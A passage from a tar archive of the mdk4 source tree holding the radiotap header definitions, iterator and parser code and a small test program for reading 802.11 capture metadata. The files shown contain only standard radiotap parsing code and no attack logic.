ieee80211_radiotap_iterator *iterator); #endif /* __RADIOTAP_ITER_H */ mdk4-master/src/osdep/radiotap/ieee80211_radiotap.h0000644000175000017500000002326613525065636023051 0ustar samuelophsamueloph/* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ /* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ /*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ /* * Modifications to fit into the linux IEEE 802.11 stack, * Mike Kershaw (dragorn@kismetwireless.net) */ #ifndef IEEE80211RADIOTAP_H #define IEEE80211RADIOTAP_H /* Radiotap header version (from official NetBSD feed) */ #define IEEE80211RADIOTAP_VERSION "1.5" /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* A generic radio capture format is desirable. There is one for * Linux, but it is neither rigidly defined (there were not even * units given for some fields) nor easily extensible. * * I suggest the following extensible radio capture format. It is * based on a bitmap indicating which fields are present. * * I am trying to describe precisely what the application programmer * should expect in the following, and for that reason I tell the * units and origin of each measurement (where it applies), or else I * use sufficiently weaselly language ("is a monotonically nondecreasing * function of...") that I cannot set false expectations for lawyerly * readers. */ /* XXX tcpdump/libpcap do not tolerate variable-length headers, * yet, so we pad every radiotap header to 64 bytes. Ugh. */ #define IEEE80211_RADIOTAP_HDRLEN 64 /* The radio capture header precedes the 802.11 header. * All data in the header is little endian on all platforms. */ struct ieee80211_radiotap_header { u8 it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ u8 it_pad; u16 it_len; /* length of the whole * header in bytes, including * it_version, it_pad, * it_len, and data fields. */ u32 it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; #define IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK 0x80000000 /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT __le64 microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x __le16 MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS __le16 see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u8 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY __le16 unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION __le16 unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION __le16 decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u8 bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u8 antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_RX_FLAGS __le16 bitmap * * Properties of received frames. See flags defined below. * * IEEE80211_RADIOTAP_TX_FLAGS __le16 bitmap * * Properties of transmitted frames. See flags defined below. * * IEEE80211_RADIOTAP_RTS_RETRIES u8 data * * Number of rts retries a transmitted frame used. * * IEEE80211_RADIOTAP_DATA_RETRIES u8 data * * Number of unicast retries a transmitted frame used. * */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_EXT = 31 }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ /* For IEEE80211_RADIOTAP_RX_FLAGS */ #define IEEE80211_RADIOTAP_F_RX_BADFCS 0x0001 /* frame failed crc check */ /* For IEEE80211_RADIOTAP_TX_FLAGS */ #define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ #define IEEE80211_RADIOTAP_F_TX_NOACK 0x0008 /* frame should not be ACKed */ #define IEEE80211_RADIOTAP_F_TX_NOSEQ 0x0010 /* sequence number handled * by userspace */ /* Ugly macro to convert literal channel numbers into their mhz equivalents * There are certianly some conditions that will break this (like feeding it '30') * but they shouldn't arise since nothing talks on channel 30. */ #define ieee80211chan2mhz(x) \ (((x) <= 14) ? \ (((x) == 14) ? 2484 : ((x) * 5) + 2407) : \ ((x) + 1000) * 5) #endif /* IEEE80211_RADIOTAP_H */ mdk4-master/src/osdep/radiotap/radiotap.c0000644000175000017500000003035413525065636021455 0ustar samuelophsamueloph/* * Radiotap parser * * Copyright 2007 Andy Green * Copyright 2009 Johannes Berg * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See COPYING for more details. */ #include "radiotap_iter.h" #include "platform.h" #if defined(ANDROID) || defined(__ANDROID__) #include "../byteorder.h" #endif /* function prototypes and related defs are in radiotap_iter.h */ static const struct radiotap_align_size rtap_namespace_sizes[] = { [IEEE80211_RADIOTAP_TSFT] = { .align = 8, .size = 8, }, [IEEE80211_RADIOTAP_FLAGS] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_RATE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_CHANNEL] = { .align = 2, .size = 4, }, [IEEE80211_RADIOTAP_FHSS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_LOCK_QUALITY] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_TX_ATTENUATION] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DBM_TX_POWER] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_ANTENNA] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DB_ANTNOISE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_RX_FLAGS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_TX_FLAGS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_RTS_RETRIES] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DATA_RETRIES] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_MCS] = { .align = 1, .size = 3, }, [IEEE80211_RADIOTAP_AMPDU_STATUS] = { .align = 4, .size = 8, }, /* * add more here as they are defined in radiotap.h */ }; static const struct ieee80211_radiotap_namespace radiotap_ns = { .n_bits = sizeof(rtap_namespace_sizes) / sizeof(rtap_namespace_sizes[0]), .align_size = rtap_namespace_sizes, }; /** * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization * @iterator: radiotap_iterator to initialize * @radiotap_header: radiotap header to parse * @max_length: total length we can parse into (eg, whole packet length) * * Returns: 0 or a negative error code if there is a problem. * * This function initializes an opaque iterator struct which can then * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap * argument which is present in the header. It knows about extended * present headers and handles them. * * How to use: * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * checking for a good 0 return code. Then loop calling * __ieee80211_radiotap_iterator_next()... it returns either 0, * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem. * The iterator's @this_arg member points to the start of the argument * associated with the current argument index that is present, which can be * found in the iterator's @this_arg_index member. This arg index corresponds * to the IEEE80211_RADIOTAP_... defines. * * Radiotap header length: * You can find the CPU-endian total radiotap header length in * iterator->max_length after executing ieee80211_radiotap_iterator_init() * successfully. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. * * Example code: parse.c */ int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns) { /* must at least have the radiotap header */ if (max_length < (int)sizeof(struct ieee80211_radiotap_header)) return -EINVAL; /* Linux only supports version 0 radiotap format */ if (radiotap_header->it_version) return -EINVAL; /* sanity check for allowed length and radiotap length field */ if (max_length < get_unaligned_le16(&radiotap_header->it_len)) return -EINVAL; iterator->_rtheader = radiotap_header; iterator->_max_length = get_unaligned_le16(&radiotap_header->it_len); iterator->_arg_index = 0; iterator->_bitmap_shifter = get_unaligned_le32(&radiotap_header->it_present); iterator->_arg = (uint8_t *)radiotap_header + sizeof(*radiotap_header); iterator->_reset_on_ext = 0; iterator->_next_bitmap = &radiotap_header->it_present; iterator->_next_bitmap++; iterator->_vns = vns; iterator->current_namespace = &radiotap_ns; iterator->is_radiotap_ns = 1; #ifdef RADIOTAP_SUPPORT_OVERRIDES iterator->n_overrides = 0; iterator->overrides = NULL; #endif /* find payload start allowing for extended bitmap(s) */ if (iterator->_bitmap_shifter & (1<_arg - (unsigned long)iterator->_rtheader + sizeof(uint32_t) > (unsigned long)iterator->_max_length) return -EINVAL; while (get_unaligned_le32(iterator->_arg) & (1 << IEEE80211_RADIOTAP_EXT)) { iterator->_arg += sizeof(uint32_t); /* * check for insanity where the present bitmaps * keep claiming to extend up to or even beyond the * stated radiotap header length */ if ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader + sizeof(uint32_t) > (unsigned long)iterator->_max_length) return -EINVAL; } iterator->_arg += sizeof(uint32_t); /* * no need to check again for blowing past stated radiotap * header length, because ieee80211_radiotap_iterator_next * checks it before it is dereferenced */ } iterator->this_arg = iterator->_arg; /* we are all initialized happily */ return 0; } static void find_ns(struct ieee80211_radiotap_iterator *iterator, uint32_t oui, uint8_t subns) { int i; iterator->current_namespace = NULL; if (!iterator->_vns) return; for (i = 0; i < iterator->_vns->n_ns; i++) { if (iterator->_vns->ns[i].oui != oui) continue; if (iterator->_vns->ns[i].subns != subns) continue; iterator->current_namespace = &iterator->_vns->ns[i]; break; } } #ifdef RADIOTAP_SUPPORT_OVERRIDES static int find_override(struct ieee80211_radiotap_iterator *iterator, int *align, int *size) { int i; if (!iterator->overrides) return 0; for (i = 0; i < iterator->n_overrides; i++) { if (iterator->_arg_index == iterator->overrides[i].field) { *align = iterator->overrides[i].align; *size = iterator->overrides[i].size; if (!*align) /* erroneous override */ return 0; return 1; } } return 0; } #endif /** * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg * @iterator: radiotap_iterator to move to next arg (if any) * * Returns: 0 if there is an argument to handle, * -ENOENT if there are no more args or -EINVAL * if there is something else wrong. * * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*) * in @this_arg_index and sets @this_arg to point to the * payload for the field. It takes care of alignment handling and extended * present fields. @this_arg can be changed by the caller (eg, * incremented to move inside a compound argument like * IEEE80211_RADIOTAP_CHANNEL). The args pointed to are in * little-endian format whatever the endianess of your CPU. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. */ int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator) { while (1) { int hit = 0; int pad, align, size, subns; uint32_t oui; /* if no more EXT bits, that's it */ if ((iterator->_arg_index % 32) == IEEE80211_RADIOTAP_EXT && !(iterator->_bitmap_shifter & 1)) return -ENOENT; if (!(iterator->_bitmap_shifter & 1)) goto next_entry; /* arg not present */ /* get alignment/size of data */ switch (iterator->_arg_index % 32) { case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE: case IEEE80211_RADIOTAP_EXT: align = 1; size = 0; break; case IEEE80211_RADIOTAP_VENDOR_NAMESPACE: align = 2; size = 6; break; default: #ifdef RADIOTAP_SUPPORT_OVERRIDES if (find_override(iterator, &align, &size)) { /* all set */ } else #endif if (!iterator->current_namespace || iterator->_arg_index >= iterator->current_namespace->n_bits) { if (iterator->current_namespace == &radiotap_ns) return -ENOENT; align = 0; } else { align = iterator->current_namespace->align_size[iterator->_arg_index].align; size = iterator->current_namespace->align_size[iterator->_arg_index].size; } if (!align) { /* skip all subsequent data */ iterator->_arg = iterator->_next_ns_data; /* give up on this namespace */ iterator->current_namespace = NULL; goto next_entry; } break; } /* * arg is present, account for alignment padding * * Note that these alignments are relative to the start * of the radiotap header. There is no guarantee * that the radiotap header itself is aligned on any * kind of boundary. * * The above is why get_unaligned() is used to dereference * multibyte elements from the radiotap area. */ pad = ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader) & (align - 1); if (pad) iterator->_arg += align - pad; if (iterator->_arg_index % 32 == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) { int vnslen; if ((unsigned long)iterator->_arg + size - (unsigned long)iterator->_rtheader > (unsigned long)iterator->_max_length) return -EINVAL; oui = (*iterator->_arg << 16) | (*(iterator->_arg + 1) << 8) | *(iterator->_arg + 2); subns = *(iterator->_arg + 3); find_ns(iterator, oui, subns); vnslen = get_unaligned_le16(iterator->_arg + 4); iterator->_next_ns_data = iterator->_arg + size + vnslen; if (!iterator->current_namespace) size += vnslen; } /* * this is what we will return to user, but we need to * move on first so next call has something fresh to test */ iterator->this_arg_index = iterator->_arg_index; iterator->this_arg = iterator->_arg; iterator->this_arg_size = size; /* internally move on the size of this arg */ iterator->_arg += size; /* * check for insanity where we are given a bitmap that * claims to have more arg content than the length of the * radiotap section. We will normally end up equalling this * max_length on the last arg, never exceeding it. */ if ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader > (unsigned long)iterator->_max_length) return -EINVAL; /* these special ones are valid in each bitmap word */ switch (iterator->_arg_index % 32) { case IEEE80211_RADIOTAP_VENDOR_NAMESPACE: iterator->_reset_on_ext = 1; iterator->is_radiotap_ns = 0; /* * If parser didn't register this vendor * namespace with us, allow it to show it * as 'raw. Do do that, set argument index * to vendor namespace. */ iterator->this_arg_index = IEEE80211_RADIOTAP_VENDOR_NAMESPACE; if (!iterator->current_namespace) hit = 1; goto next_entry; case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE: iterator->_reset_on_ext = 1; iterator->current_namespace = &radiotap_ns; iterator->is_radiotap_ns = 1; goto next_entry; case IEEE80211_RADIOTAP_EXT: /* * bit 31 was set, there is more * -- move to next u32 bitmap */ iterator->_bitmap_shifter = get_unaligned_le32(iterator->_next_bitmap); iterator->_next_bitmap++; if (iterator->_reset_on_ext) iterator->_arg_index = 0; else iterator->_arg_index++; iterator->_reset_on_ext = 0; break; default: /* we've got a hit! */ hit = 1; next_entry: iterator->_bitmap_shifter >>= 1; iterator->_arg_index++; } /* if we found a valid arg earlier, return it now */ if (hit) return 0; } } mdk4-master/src/osdep/radiotap/platform.h0000644000175000017500000000106313525065636021476 0ustar samuelophsamueloph#include #include #ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #ifdef __FreeBSD__ #include #else #include #endif #define le16_to_cpu le16toh #define le32_to_cpu le32toh #define get_unaligned(p) \ ({ \ struct packed_dummy_struct { \ typeof(*(p)) __val; \ } __attribute__((packed)) *__ptr = (void *) (p); \ \ __ptr->__val; \ }) #define get_unaligned_le16(p) le16_to_cpu(get_unaligned((uint16_t *)(p))) #define get_unaligned_le32(p) le32_to_cpu(get_unaligned((uint32_t *)(p))) mdk4-master/src/osdep/radiotap/radiotap-parser.c0000644000175000017500000001675313525065636022756 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andy Green * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include "radiotap-parser.h" /* * Radiotap header iteration * implemented in src/radiotap-parser.c * * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * then loop calling __ieee80211_radiotap_iterator_next()... it returns -1 * if there are no more args in the header, or the next argument type index * that is present. The iterator's this_arg member points to the start of the * argument associated with the current argument index that is present, * which can be found in the iterator's this_arg_index member. This arg * index corresponds to the IEEE80211_RADIOTAP_... defines. */ int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator * iterator, struct ieee80211_radiotap_header * radiotap_header, int max_length) { if(iterator == NULL) return (-EINVAL); if(radiotap_header == NULL) return (-EINVAL); /* Linux only supports version 0 radiotap format */ if (radiotap_header->it_version) return (-EINVAL); /* sanity check for allowed length and radiotap length field */ if (max_length < (le16_to_cpu(radiotap_header->it_len))) return (-EINVAL); iterator->rtheader = radiotap_header; iterator->max_length = le16_to_cpu(radiotap_header->it_len); iterator->arg_index = 0; iterator->bitmap_shifter = le32_to_cpu(radiotap_header->it_present); iterator->arg = ((u8 *)radiotap_header) + sizeof (struct ieee80211_radiotap_header); iterator->this_arg = 0; /* find payload start allowing for extended bitmap(s) */ if (unlikely(iterator->bitmap_shifter & IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK)) { while (le32_to_cpu(*((u32 *)iterator->arg)) & IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK) { iterator->arg += sizeof (u32); /* * check for insanity where the present bitmaps * keep claiming to extend up to or even beyond the * stated radiotap header length */ if ((((void*)iterator->arg) - ((void*)iterator->rtheader)) > iterator->max_length) return (-EINVAL); } iterator->arg += sizeof (u32); /* * no need to check again for blowing past stated radiotap * header length, becuase ieee80211_radiotap_iterator_next * checks it before it is dereferenced */ } /* we are all initialized happily */ return (0); } /** * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg * @iterator: radiotap_iterator to move to next arg (if any) * * Returns: next present arg index on success or negative if no more or error * * This function returns the next radiotap arg index (IEEE80211_RADIOTAP_...) * and sets iterator->this_arg to point to the payload for the arg. It takes * care of alignment handling and extended present fields. interator->this_arg * can be changed by the caller. The args pointed to are in little-endian * format. */ int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator * iterator) { /* * small length lookup table for all radiotap types we heard of * starting from b0 in the bitmap, so we can walk the payload * area of the radiotap header * * There is a requirement to pad args, so that args * of a given length must begin at a boundary of that length * -- but note that compound args are allowed (eg, 2 x u16 * for IEEE80211_RADIOTAP_CHANNEL) so total arg length is not * a reliable indicator of alignment requirement. * * upper nybble: content alignment for arg * lower nybble: content length for arg */ static const u8 rt_sizes[] = { [IEEE80211_RADIOTAP_TSFT] = 0x88, [IEEE80211_RADIOTAP_FLAGS] = 0x11, [IEEE80211_RADIOTAP_RATE] = 0x11, [IEEE80211_RADIOTAP_CHANNEL] = 0x24, [IEEE80211_RADIOTAP_FHSS] = 0x22, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = 0x11, [IEEE80211_RADIOTAP_LOCK_QUALITY] = 0x22, [IEEE80211_RADIOTAP_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DBM_TX_POWER] = 0x11, [IEEE80211_RADIOTAP_ANTENNA] = 0x11, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DB_ANTNOISE] = 0x11 /* * add more here as they are defined in * include/net/ieee80211_radiotap.h */ }; /* * for every radiotap entry we can at * least skip (by knowing the length)... */ while (iterator->arg_index < (int)sizeof (rt_sizes)) { int hit = 0; if (!(iterator->bitmap_shifter & 1)) goto next_entry; /* arg not present */ /* * arg is present, account for alignment padding * 8-bit args can be at any alignment * 16-bit args must start on 16-bit boundary * 32-bit args must start on 32-bit boundary * 64-bit args must start on 64-bit boundary * * note that total arg size can differ from alignment of * elements inside arg, so we use upper nybble of length * table to base alignment on * * also note: these alignments are ** relative to the * start of the radiotap header **. There is no guarantee * that the radiotap header itself is aligned on any * kind of boundary. */ if ((((void*)iterator->arg)-((void*)iterator->rtheader)) & ((rt_sizes[iterator->arg_index] >> 4) - 1)) iterator->arg_index += (rt_sizes[iterator->arg_index] >> 4) - ((((void*)iterator->arg) - ((void*)iterator->rtheader)) & ((rt_sizes[iterator->arg_index] >> 4) - 1)); /* * this is what we will return to user, but we need to * move on first so next call has something fresh to test */ iterator->this_arg_index = iterator->arg_index; iterator->this_arg = iterator->arg; hit = 1; /* internally move on the size of this arg */ iterator->arg += rt_sizes[iterator->arg_index] & 0x0f; /* * check for insanity where we are given a bitmap that * claims to have more arg content than the length of the * radiotap section. We will normally end up equalling this * max_length on the last arg, never exceeding it. */ if ((((void*)iterator->arg) - ((void*)iterator->rtheader)) > iterator->max_length) return (-EINVAL); next_entry: iterator->arg_index++; if (unlikely((iterator->arg_index & 31) == 0)) { /* completed current u32 bitmap */ if (iterator->bitmap_shifter & 1) { /* b31 was set, there is more */ /* move to next u32 bitmap */ iterator->bitmap_shifter = le32_to_cpu( *iterator->next_bitmap); iterator->next_bitmap++; } else { /* no more bitmaps: end */ iterator->arg_index = sizeof (rt_sizes); } } else { /* just try the next bit */ iterator->bitmap_shifter >>= 1; } /* if we found a valid arg earlier, return it now */ if (hit) return (iterator->this_arg_index); } /* we don't know how to handle any more args, we're done */ return (-1); } mdk4-master/src/osdep/radiotap/parse.c0000644000175000017500000001002213525065636020752 0ustar samuelophsamueloph#ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #include #include #include #include #include #include #include #include #include #include "radiotap_iter.h" static int fcshdr = 0; static const struct radiotap_align_size align_size_000000_00[] = { [0] = { .align = 1, .size = 4, }, [52] = { .align = 1, .size = 4, }, }; static const struct ieee80211_radiotap_namespace vns_array[] = { { .oui = 0x000000, .subns = 0, .n_bits = sizeof(align_size_000000_00), .align_size = align_size_000000_00, }, }; static const struct ieee80211_radiotap_vendor_namespaces vns = { .ns = vns_array, .n_ns = sizeof(vns_array)/sizeof(vns_array[0]), }; static void print_radiotap_namespace(struct ieee80211_radiotap_iterator *iter) { switch (iter->this_arg_index) { case IEEE80211_RADIOTAP_TSFT: printf("\tTSFT: %llu\n", le64toh(*(unsigned long long *)iter->this_arg)); break; case IEEE80211_RADIOTAP_FLAGS: printf("\tflags: %02x\n", *iter->this_arg); break; case IEEE80211_RADIOTAP_RATE: printf("\trate: %lf\n", (double)*iter->this_arg/2); break; case IEEE80211_RADIOTAP_CHANNEL: case IEEE80211_RADIOTAP_FHSS: case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: case IEEE80211_RADIOTAP_DBM_ANTNOISE: case IEEE80211_RADIOTAP_LOCK_QUALITY: case IEEE80211_RADIOTAP_TX_ATTENUATION: case IEEE80211_RADIOTAP_DB_TX_ATTENUATION: case IEEE80211_RADIOTAP_DBM_TX_POWER: case IEEE80211_RADIOTAP_ANTENNA: case IEEE80211_RADIOTAP_DB_ANTSIGNAL: case IEEE80211_RADIOTAP_DB_ANTNOISE: case IEEE80211_RADIOTAP_TX_FLAGS: break; case IEEE80211_RADIOTAP_RX_FLAGS: if (fcshdr) { printf("\tFCS in header: %.8x\n", le32toh(*(uint32_t *)iter->this_arg)); break; } printf("\tRX flags: %#.4x\n", le16toh(*(uint16_t *)iter->this_arg)); break; case IEEE80211_RADIOTAP_RTS_RETRIES: case IEEE80211_RADIOTAP_DATA_RETRIES: break; break; default: printf("\tBOGUS DATA\n"); break; } } static void print_test_namespace(struct ieee80211_radiotap_iterator *iter) { switch (iter->this_arg_index) { case 0: case 52: printf("\t00:00:00-00|%d: %.2x/%.2x/%.2x/%.2x\n", iter->this_arg_index, *iter->this_arg, *(iter->this_arg + 1), *(iter->this_arg + 2), *(iter->this_arg + 3)); break; default: printf("\tBOGUS DATA - vendor ns %d\n", iter->this_arg_index); break; } } static const struct radiotap_override overrides[] = { { .field = 14, .align = 4, .size = 4, } }; int main(int argc, char *argv[]) { struct ieee80211_radiotap_iterator iter; struct stat statbuf; int fd, err, fnidx = 1, i; void *data; if (argc != 2 && argc != 3) { fprintf(stderr, "usage: parse [--fcshdr] \n"); fprintf(stderr, " --fcshdr: read bit 14 as FCS\n"); return 2; } if (strcmp(argv[1], "--fcshdr") == 0) { fcshdr = 1; fnidx++; } fd = open(argv[fnidx], O_RDONLY); if (fd < 0) { fprintf(stderr, "cannot open file %s\n", argv[fnidx]); return 2; } if (fstat(fd, &statbuf)) { perror("fstat"); return 2; } data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0); err = ieee80211_radiotap_iterator_init(&iter, data, statbuf.st_size, &vns); if (err) { printf("malformed radiotap header (init returns %d)\n", err); return 3; } if (fcshdr) { iter.overrides = overrides; iter.n_overrides = sizeof(overrides)/sizeof(overrides[0]); } while (!(err = ieee80211_radiotap_iterator_next(&iter))) 